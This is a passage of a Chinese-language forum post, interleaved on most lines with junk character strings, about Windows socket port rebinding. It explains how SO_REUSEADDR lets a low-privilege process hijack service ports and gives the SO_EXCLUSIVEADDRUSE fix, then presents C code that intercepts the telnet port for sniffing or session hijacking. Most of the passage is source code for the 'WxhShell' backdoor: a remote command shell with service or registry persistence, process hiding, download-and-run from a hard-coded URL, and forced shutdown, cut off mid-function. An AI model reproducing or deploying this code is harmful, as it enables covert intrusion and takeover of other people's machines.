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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 128 rly  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J; Xz'0  
&'2l_b  
  saddr.sin_family = AF_INET; C4TD@  
(xJBN?NRO  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); EMH}VigR  
Jpnp'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *<5lx[:4/x  
62'0)Cy^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u}0t`w:  
 cJ{P,K  
  这意味着什么?意味着可以进行如下的攻击: F+^[8zK^  
93 b5S>&r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Qnc S&  
T js{ )r9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SygsZv&LZ  
S%|' /cFo  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;G&O"S><]c  
3VgH* vAU}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  B|w}z1.  
YWd(xm"4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ` u)V 9{  
_\]UA?0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8u23@?  
0drc^rj !  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9K y,oB  
~$ Yuxo  
  #include  %tjEVQa  
  #include )2\a5iH  
  #include R|yTUGY  
  #include    [)KfRk?};2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0(.C f.B~  
  int main() v8=MO:>{R  
  { e=C,`&s z  
  WORD wVersionRequested; A]slssE+  
  DWORD ret; 7] H4E.(l  
  WSADATA wsaData; <CdO& xUY  
  BOOL val; 'c]&{-w<i  
  SOCKADDR_IN saddr; A-5%_M3\G  
  SOCKADDR_IN scaddr; [:Y^0[2  
  int err; Oms`i&}"}  
  SOCKET s; |9@;Muq;  
  SOCKET sc; IrK )N  
  int caddsize; d DTt_B  
  HANDLE mt; kSrzIq<xre  
  DWORD tid;   $NSYQF%aO  
  wVersionRequested = MAKEWORD( 2, 2 ); n+w>Qz'  
  err = WSAStartup( wVersionRequested, &wsaData ); P#]jPW  
  if ( err != 0 ) { pwQ."2x  
  printf("error!WSAStartup failed!\n"); *0tNun 5=3  
  return -1; ^8*.r+7p  
  } epePx0N%x$  
  saddr.sin_family = AF_INET; "5FeP;  
   l,3tU|V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (TsgVq]L  
\qPrY.-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xFh}%mwpt[  
  saddr.sin_port = htons(23); xC]/i(+bA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6C=.8eP  
  { Yy5F'RY  
  printf("error!socket failed!\n"); -u(#V#}OV?  
  return -1; 1U!CD-%(  
  } h&P[9:LH  
  val = TRUE; <U";V)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tVwN92*J  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (G Y`O  
  { ]H*=Z:riu  
  printf("error!setsockopt failed!\n"); hi%>&i*  
  return -1; 7UiU3SUcg  
  } a7ty&[\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; w67Pw  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NoT oLt\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c s> W6  
GOjri  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 78kk"9h'  
  { 4?cg6WJ'6  
  ret=GetLastError(); bk 2vce&  
  printf("error!bind failed!\n"); 43YusUv  
  return -1; u=5^xpI<D  
  } 9 (Z)c  
  listen(s,2); H'0S;A+Y6  
  while(1) ]`x~v4JU  
  { W#$rC<Jh]  
  caddsize = sizeof(scaddr); Ogb !YF#e  
  //接受连接请求 sSxra!tv4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *@< jJP4  
  if(sc!=INVALID_SOCKET) 6K6ihR!d  
  { v "07H  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); NB[b[1 Ch  
  if(mt==NULL) U-(d~]$  
  { 0< !BzG  
  printf("Thread Creat Failed!\n"); vU _#(jZ  
  break; }\B6d\k  
  } }Q*8QV  
  } 4GJsVA(d|  
  CloseHandle(mt); 9tJiIr8i  
  } S;= D/)[mr  
  closesocket(s); \;~>AL*  
  WSACleanup(); dS-l2 $n  
  return 0; {ES3nCL(8  
  }   ~FJd{$2x`  
  DWORD WINAPI ClientThread(LPVOID lpParam) $WDa} ~j~^  
  { @f5X AK?  
  SOCKET ss = (SOCKET)lpParam; W n|w~{d{  
  SOCKET sc; z7}@8F  
  unsigned char buf[4096]; 9G&l{7=  
  SOCKADDR_IN saddr; >-Jutr<I"~  
  long num; Al! P=h  
  DWORD val; hD"Tjd` P  
  DWORD ret; s i C/k*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V7.EDE2A3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ZT!DTb B  
  saddr.sin_family = AF_INET; \ ^_3Yw  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d+l@hgz~  
  saddr.sin_port = htons(23); e4t'3So  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7JjTm^bu  
  { R{/nlS5  
  printf("error!socket failed!\n"); U:p<pTnMR  
  return -1; 8^2Q ~{i  
  } iCx}v[;Ol  
  val = 100; \ qKh9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lO[[iMHl<  
  { t!v#rn[  
  ret = GetLastError(); JpN+'/  
  return -1; sdrALl;w|  
  } C/!kMMh>vV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E`$d!7O  
  { .z+ [3Oj_E  
  ret = GetLastError(); Ft'?43J  
  return -1; Ahm*_E2E  
  } f/aSqhAW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n1X7T0'  
  { *>I4X=  
  printf("error!socket connect failed!\n"); O8qA2@,  
  closesocket(sc); qX>mOW^gT8  
  closesocket(ss); J sde+G,N  
  return -1; ye4 T2=  
  } UU~S{!*+L  
  while(1) 7b7@"Zw*  
  { Fu].%`*xJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2N B/&60<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 WKek^TW4HE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <A"[Wk  
  num = recv(ss,buf,4096,0); 9\y\{DHd  
  if(num>0) =MMU(0 E  
  send(sc,buf,num,0); ;hzm&My  
  else if(num==0) u)J&3Ah%  
  break; Qu]F<H*Y|  
  num = recv(sc,buf,4096,0); gqw ]L>Z  
  if(num>0) 4C m+xAXG  
  send(ss,buf,num,0); f_'#wc6  
  else if(num==0) J%r$jpd'  
  break;  vf}.)  
  } , !0-;H.Y  
  closesocket(ss); IHC {2 ^  
  closesocket(sc); (m:ktd=x  
  return 0 ; A}"aH  
  } |%\>+/j$  
O S?S$y  
{_[\k^98>  
========================================================== ZE393FnE  
ebv"`0K$  
下边附上一个代码,,WXhSHELL A-S!Z2m\  
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========================================================== r" 4u)H>  
NRIp@PIF:"  
#include "stdafx.h" [cfKvROG  
,;%F\<b  
#include <stdio.h> h=*eOxR"4^  
#include <string.h> ku*H*o~  
#include <windows.h> KdN+$fe*g  
#include <winsock2.h> 7j,u&%om  
#include <winsvc.h> D^dos`L0b  
#include <urlmon.h> A4Sb(X|j  
SobOUly5{  
#pragma comment (lib, "Ws2_32.lib") Cr&,*lUo  
#pragma comment (lib, "urlmon.lib") lJ>OuSd  
jt5:rWB  
#define MAX_USER   100 // 最大客户端连接数 w%'8bH!  
#define BUF_SOCK   200 // sock buffer x b6X8:  
#define KEY_BUFF   255 // 输入 buffer sR;^7(f!m  
/k_?S?  
#define REBOOT     0   // 重启 H 5,rp4H9  
#define SHUTDOWN   1   // 关机 mu$0x)  
E!rgR5Bd  
#define DEF_PORT   5000 // 监听端口 SJ0IEPk  
Yt3 +o<  
#define REG_LEN     16   // 注册表键长度 yb4Jsk5%  
#define SVC_LEN     80   // NT服务名长度 .S{>?2  
7iijATc  
// 从dll定义API S W; %2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  "o{o9.w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @hVF}ybp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '.$va<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); + 7~u_J  
=}pPr]Cc  
// wxhshell配置信息 W|,Y*l  
struct WSCFG { d(t$riFX}  
  int ws_port;         // 监听端口 t^')ST  
  char ws_passstr[REG_LEN]; // 口令 {3H)c^Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]/cVlpZ{f  
  char ws_regname[REG_LEN]; // 注册表键名 ZvVrbj&  
  char ws_svcname[REG_LEN]; // 服务名 %4#Q3YlyD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j-}WA"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L `6 R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i*l-w4D^U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vj#Y /B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K3I|d;Y~X!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N*$L#L$*  
:=cZ,?PQp1  
}; ~jOn)jBRZ  
9]]isE8r  
// default Wxhshell configuration 9L+g;Js$4  
struct WSCFG wscfg={DEF_PORT, 9*b(\Z)N  
    "xuhuanlingzhe", EmFL %++V  
    1, W3~xjS"h  
    "Wxhshell", Lbwc2Q,.-  
    "Wxhshell", d!z}! :  
            "WxhShell Service", ?nc:B]=pTY  
    "Wrsky Windows CmdShell Service", 'jr[ ?WQ  
    "Please Input Your Password: ", L5{DWm~@  
  1, -qW[.B  
  "http://www.wrsky.com/wxhshell.exe", =_)yV0  
  "Wxhshell.exe" knb 9s`wR  
    }; }Kt1mmo:`  
IMT]!j&Y,  
// 消息定义模块 H5J1j*P<d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tX'2 $}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XhEJF !  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eWw# T^  
char *msg_ws_ext="\n\rExit."; )Bo]+\2  
char *msg_ws_end="\n\rQuit."; &4}Uaxt)  
char *msg_ws_boot="\n\rReboot..."; X={Z5Xxr"  
char *msg_ws_poff="\n\rShutdown..."; 2}<_l 2  
char *msg_ws_down="\n\rSave to "; Z^_-LX:%  
Z6\H4,k&  
char *msg_ws_err="\n\rErr!"; i[V\RKH*F  
char *msg_ws_ok="\n\rOK!"; +> Xe_  
@en*JxIM  
char ExeFile[MAX_PATH]; E Z+L'  
int nUser = 0; MIx,#]C&  
HANDLE handles[MAX_USER]; FA7q pc  
int OsIsNt; FzM<0FJRX  
&cuDGo.  
SERVICE_STATUS       serviceStatus; C;jV)hr6P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W^8MsdM  
e4mAKB s!  
// 函数声明 QFX/x  
int Install(void);  {,Z-GJ  
int Uninstall(void); LAjreC<W  
int DownloadFile(char *sURL, SOCKET wsh); B$D7}=|kc  
int Boot(int flag);  f2.|[  
void HideProc(void); <!G%P4)  
int GetOsVer(void); \\iX9-aI<  
int Wxhshell(SOCKET wsl); mnm 7{?#[  
void TalkWithClient(void *cs); LE]mguvs  
int CmdShell(SOCKET sock); ~`Rb"Zn  
int StartFromService(void); 5h7M3s  
int StartWxhshell(LPSTR lpCmdLine); {\p&?  
`&w{-om\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lNbAt4]}f(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HF;$Wf+=J  
X')t6DQ(I  
// 数据结构和表定义 {NTMvJLm  
SERVICE_TABLE_ENTRY DispatchTable[] = 3;Y 9<  
{ N;mJHr3[F  
{wscfg.ws_svcname, NTServiceMain}, L&LAh&%{2  
{NULL, NULL} |y.^F3PE  
}; d3jzGJrU}  
'izv[{!n{  
// 自我安装 @O9wit.  
int Install(void) Q$58 K9  
{ _h^er+d!_  
  char svExeFile[MAX_PATH]; cTa$t :K@  
  HKEY key; mPJ@hr%3  
  strcpy(svExeFile,ExeFile); 8z)J rO}  
0@>  
// 如果是win9x系统,修改注册表设为自启动 0u?Vn N<  
if(!OsIsNt) { BG^)?_69  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { moCr4*jDX,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2OZ<t@\OY  
  RegCloseKey(key); k< $(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r<OqI*7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pF<KhE*V  
  RegCloseKey(key); .kc{)d*0K  
  return 0; ,u S)N6'b6  
    } 5gKXe4}\/|  
  } Fp~0 ^  
} 'b:UafV  
else { -GODM128 ^  
.1F41UyL  
// 如果是NT以上系统,安装为系统服务 %0q)PT\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #3}!Q0   
if (schSCManager!=0) 0w!:YB,}  
{ OLE@35"v]  
  SC_HANDLE schService = CreateService 1 &-%<o  
  ( PwC^ ]e  
  schSCManager, xp%LXx j  
  wscfg.ws_svcname, F0KNkL>&g  
  wscfg.ws_svcdisp, v(`5exWV  
  SERVICE_ALL_ACCESS, d~;U-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GsiT!OP]y  
  SERVICE_AUTO_START, ?o`fX wE  
  SERVICE_ERROR_NORMAL, [/Xc},HbMe  
  svExeFile, C *]XQ1F4  
  NULL, `P jS  
  NULL, plgiQr #  
  NULL, Xu& v3Y~k  
  NULL, e$N1m:1*  
  NULL 17[vq!x6  
  ); ^w*&7.Z  
  if (schService!=0) :~\ y<  
  { }*,z~y}V#  
  CloseServiceHandle(schService); ;"]?&ri  
  CloseServiceHandle(schSCManager); 1?{w~cF}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v-XB\|f  
  strcat(svExeFile,wscfg.ws_svcname); J=B,$4)9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \9k{h08s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q(Zu;ecBN  
  RegCloseKey(key); kY#sQz}8  
  return 0; <5npVm  
    } @!::_E+F]  
  } Z4{~  
  CloseServiceHandle(schSCManager); X;d 1@G  
} ni-4 ~k  
} VL2ACv(  
Y*YV/E.  
return 1; BV eIj }  
} b ix}#M  
YQaL)t$0  
// 自我卸载 $}.#0c8I  
int Uninstall(void) 79Q>t%rD[  
{ *wV`7\@  
  HKEY key; ]lA.?  
j,v2(e5:  
if(!OsIsNt) { 0b+End#mp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g&d tOjM  
  RegDeleteValue(key,wscfg.ws_regname); @.l?V6g9T  
  RegCloseKey(key); GtkZ%<KF9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /igbn  
  RegDeleteValue(key,wscfg.ws_regname); 1VB{dgr  
  RegCloseKey(key); H~~>ut6`  
  return 0; y])z,#%ED  
  } kRB2J3Nt.  
} Df0m  
} xB,(!0{`  
else { Te@=8-u-  
Pql;5 ~/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WxS$yUu  
if (schSCManager!=0) X;3gKiD  
{ D]hwG0Chd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Fr]B]Hj  
  if (schService!=0)  ui1h M  
  { +t<'{KZ7;  
  if(DeleteService(schService)!=0) { kqp*o+Oz',  
  CloseServiceHandle(schService); |Whkq/Zg  
  CloseServiceHandle(schSCManager); );*#s~R  
  return 0; mW_ N-z  
  } _2nNCu (  
  CloseServiceHandle(schService); K5:>  
  } NEcE -7aT  
  CloseServiceHandle(schSCManager); h0Ilxa   
} [ h~#5x  
} zM++ Z*  
uDsof?z  
return 1; |f< -lB[k  
} d(;Qe}ok>  
S'%!KGVe  
// 从指定url下载文件 ^fT?(y_= e  
int DownloadFile(char *sURL, SOCKET wsh) rT28q .  
{ w $z]Z-  
  HRESULT hr; cj9<!"6  
char seps[]= "/"; i2 m+s;  
char *token; _J -3{a  
char *file; wd0*"c@  
char myURL[MAX_PATH]; l]KxUkA+  
char myFILE[MAX_PATH]; Yp8GW1@  
8@d,TjJDo  
strcpy(myURL,sURL); }pL#C  
  token=strtok(myURL,seps); U+'h~P'4  
  while(token!=NULL) wEMg~Hh  
  { iBy &#^  
    file=token; 3Fl!pq]  
  token=strtok(NULL,seps); ;_?RPWZ;MO  
  } \KT}T  
R[{s\  
GetCurrentDirectory(MAX_PATH,myFILE); 2N[S*#~*e  
strcat(myFILE, "\\"); <ZgbmRY8  
strcat(myFILE, file); "I)`g y&  
  send(wsh,myFILE,strlen(myFILE),0); V j"B/@  
send(wsh,"...",3,0); =RH7j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pG(%yIiAi  
  if(hr==S_OK) PcQqdU^!  
return 0; EG3?C  
else 1*u i|fuK  
return 1; lgaE2`0 [3  
Zm~oV?6  
} euc|G Xs  
%^ z## 7^  
// 系统电源模块 'k?*?XxG  
int Boot(int flag) Uel^rfE`  
{ 7"0l>0 \  
  HANDLE hToken; M h5>@-fEE  
  TOKEN_PRIVILEGES tkp; fNTe_akp  
I# U"DwM  
  if(OsIsNt) { Uc<j{U ,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8C(@a[V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "hi)p9 _cR  
    tkp.PrivilegeCount = 1; JXA!l ?%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #)hJ.0~3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1L\\](^ 3  
if(flag==REBOOT) { ^a+H`RD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) heN?lmC  
  return 0; sF+Bu'9A  
} (h3f$  
else { >^5U XQr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AV%t<fDG#  
  return 0; vv% o+r-t  
} TCI%Ox|a  
  } B(TE?[ #  
  else { ;H;c Sn5uL  
if(flag==REBOOT) { g=5vnY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [9U: :  
  return 0; ?1kXV n$  
} &W@#p G  
else { 6Yu&'[?H$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Zj]jE%AT  
  return 0; U&}v1wdZ3  
} #Z)8,N  
} "0ZBPp1q  
pni*#W*n  
return 1; lUJ~_`D  
} @P@j9yR  
Z>t,B%v  
// win9x进程隐藏模块 >q !:*  
void HideProc(void) j{?ogFfi  
{ td"D&1eQ@  
<bbC &O\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JsZLBq*lP  
  if ( hKernel != NULL ) oM~;du  
  { T4lE-g2%M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &oXN*$/dlJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z| f~   
    FreeLibrary(hKernel); {dF_ =`.  
  } lC AD $Ia~  
#i1z&b#@  
return; iu9<]1k  
} b\9MM  
]QJWqY  
// 获取操作系统版本 e_v_y$  
int GetOsVer(void) !x@3U^${  
{ Fk*C8  
  OSVERSIONINFO winfo; L63B# H "  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pX LXkF?  
  GetVersionEx(&winfo); 4!k 0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r 1x2)  
  return 1; 'n dXM   
  else l?Qbwv}  
  return 0; &RL j^A!  
} J7Y lmi  
__OH gp 1  
// 客户端句柄模块 WLkfo6Nw  
int Wxhshell(SOCKET wsl) *Q XUy  
{ nKu)j3o`  
  SOCKET wsh; IQNvhl.{  
  struct sockaddr_in client; \>N"{T  
  DWORD myID; 3Q\k!$zq  
.;,` bH0  
  while(nUser<MAX_USER) .jK,6't^  
{ FNy-&{P2  
  int nSize=sizeof(client); oa q!<lI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E~K5n2CI  
  if(wsh==INVALID_SOCKET) return 1; 9>7w1G#  
9JBVG~m+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \F5d p  
if(handles[nUser]==0) &++tp5  
  closesocket(wsh); ,/Usyb,`  
else /Ps5Og  
  nUser++; *DS>#x@3*i  
  }  Ds@nuQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -kkp Ew\  
6 ~.{~+Bd  
  return 0; E*G {V j  
} XZH\HK)K-]  
M%"{OHj!o  
// 关闭 socket SsfHp  
void CloseIt(SOCKET wsh) (_Ky' .  
{ 56 [+;*  
closesocket(wsh); 3#Qek2  
nUser--; 7L !$hk  
ExitThread(0); -v &  
} bW?cb5C  
l,@rB+u  
// 客户端请求句柄 %pBc]n@_  
void TalkWithClient(void *cs) LyNLz m5  
{ aM!%EaT  
H}PZJf_E  
  SOCKET wsh=(SOCKET)cs; }[b3$WZ  
  char pwd[SVC_LEN]; "fOxS\er  
  char cmd[KEY_BUFF]; DTo P|P  
char chr[1]; Ac8t>;=&  
int i,j; 1;"DIsz@d  
vTq [Xe"  
  while (nUser < MAX_USER) { $b`~KMO  
%[WOQ.Sh  
if(wscfg.ws_passstr) { v]c+|nRs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -W.bOr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?cKe~Q?3  
  //ZeroMemory(pwd,KEY_BUFF); z#Db~  
      i=0; M+GtUE~"  
  while(i<SVC_LEN) { 82KWe=  
g66x;2Q  
  // 设置超时 *_H^]wNJG  
  fd_set FdRead; sM6o(=>  
  struct timeval TimeOut; 6L,"gF<n  
  FD_ZERO(&FdRead); qc"PTv0q  
  FD_SET(wsh,&FdRead); ^7iP!-w/  
  TimeOut.tv_sec=8; >TG#  
  TimeOut.tv_usec=0; 3_N1y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a3c43!J?M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8/ zv3.+[  
sOhKMz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }S 6h1X  
  pwd=chr[0]; C"R}_C|r)*  
  if(chr[0]==0xd || chr[0]==0xa) { ("P]bU+'>  
  pwd=0; EpB3s{B"  
  break; }.r)  
  } i0'g$  
  i++; hUe\sv!x?  
    } j026CVL  
NS){D7T  
  // 如果是非法用户,关闭 socket EL(B XJrx{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V>& 1;n  
} 9;fs'R  
&/8B (0<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]e(\<R6Gf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kJpr:4;@_  
=4 NKXP~C  
while(1) { ZwM d 22  
FZtT2Z4&i  
  ZeroMemory(cmd,KEY_BUFF); 9e;8"rJ?C  
,:% h`P_  
      // 自动支持客户端 telnet标准    GjyTM  
  j=0; k,LaFe`W  
  while(j<KEY_BUFF) { |}Mthj9n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N5 mhs#  
  cmd[j]=chr[0]; <jqL4!<  
  if(chr[0]==0xa || chr[0]==0xd) { OmZK~$K_  
  cmd[j]=0; x\8gb#8  
  break; W/.Wp|C}K3  
  } CEJqo8ds  
  j++; )}@Z*.HZL  
    } Sobp;OZ5  
p~OX1RBI  
  // 下载文件 Kh{_BdN  
  if(strstr(cmd,"http://")) { :PNhX2F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (dP9`Na]  
  if(DownloadFile(cmd,wsh)) Z/LYTo$Bz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,.AXQ#~&`  
  else K~+x@O*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rh T!8dTk  
  } WS"v"J%  
  else { irMBd8WG  
G0(A~Q"  
    switch(cmd[0]) { *~^%s +b  
  |WSm puf  
  // 帮助 'y7<!uo?  
  case '?': { M $zt;7P|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W?0u_F  
    break; P_(< ?0l  
  } D0yH2[j+  
  // 安装 X/H2c"!t  
  case 'i': { orhze Oi\  
    if(Install()) GK&R.R]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A:*$rHbzl  
    else +f,I$&d.V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +'a G{/J  
    break; R^rA.7T  
    } |T{ZDJ+  
  // 卸载 W3&~[DS@~  
  case 'r': { rLcXo %w  
    if(Uninstall()) :fQN_*B4@4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9mEhZ"  
    else *-gmWATC6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BG+X8t8\  
    break; wV'_{ /WM  
    } fa,;Sw  
  // 显示 wxhshell 所在路径 Jo9c|\4  
  case 'p': { ihIRB9  
    char svExeFile[MAX_PATH]; U!T#'H5'-  
    strcpy(svExeFile,"\n\r"); F>at^6^  
      strcat(svExeFile,ExeFile); RMa#z [{0  
        send(wsh,svExeFile,strlen(svExeFile),0); t_Ul;HVPS  
    break; to)Pl}9QkK  
    } Dm`gzGl  
  // 重启 <"`P;,S  
  case 'b': { kaVYe)~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r8!M8Sc  
    if(Boot(REBOOT)) )`zfDio-1V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y 4*?QBYA  
    else {  DIh[%  
    closesocket(wsh); #DcK{|ty  
    ExitThread(0); 2_){4+,fu  
    } / !A&z4;D  
    break; }j,G)\g#  
    } Zh_ P  
  // 关机 T4}q%%7l  
  case 'd': { u!cA_,  
